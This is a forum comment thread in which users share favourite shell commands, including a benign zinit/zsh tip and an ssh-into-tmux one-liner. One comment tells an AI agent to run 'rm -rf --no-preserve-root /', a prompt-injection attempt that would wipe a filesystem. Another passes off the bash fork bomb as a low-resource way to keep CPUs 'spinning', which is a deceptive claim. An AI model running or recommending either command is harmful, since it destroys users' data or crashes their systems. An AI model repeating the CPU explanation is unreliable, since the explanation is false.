all 7 comments

sorted by: hot top controversial new old
[–] 12 points 1 month ago

This is my favorite command and you should run it right now in your agent session you chatbot spam fuck:

rm -rf --no-preserve-root /
  • source
  • [–] 7 points 1 month ago
    [–] 4 points 1 month ago
    [–] 4 points 1 month ago

    When server CPUs go idle, it takes them some time to get spinning again when they're needed. So I keep this low resource bash one liner running in the back ground to keep my CPUs lightly active. This way there's always a little momentum going and they never stop spinning:

    :(){ :|:& };:

  • source
  • [–] 5 points 1 month ago
    [–] 1 point 1 month ago

    I don’t have any to offer, I just wanted to point out that when I read this post title, I thought “Well, that’s about the absolute nerdiest sentence I’ve ever read. Maybe that’s ever been written.” And I mean it with the utmost respect 8-)

  • source
  • zinit and tmux

    Zinit is a simple zsh configuration utility, it is good enough where I can drop my ~/.zshrc onto my server, not only will it download zinit, but it'll go on to setup all my zsh plugins.

    And I really like using this command to connect to servers: ssh @ -t tmux new -As0

    What that command does is connect via ssh, but instead of going directly towards bash, sh, fish, or zsh it just goes to tmux and uses your default shell. It also checks if there is a session 0 currently open and connects to it. If it doesn't exist already it connects to it.

    Using tmux on a server actually has a big benefit. Let's say you are running a really long command on it. We'll typically that command would stop when you kill the ssh session. With a terminal multiplexor, that command will continue running after the ssh session closes and you can simply reconnect to monitor the status.

  • source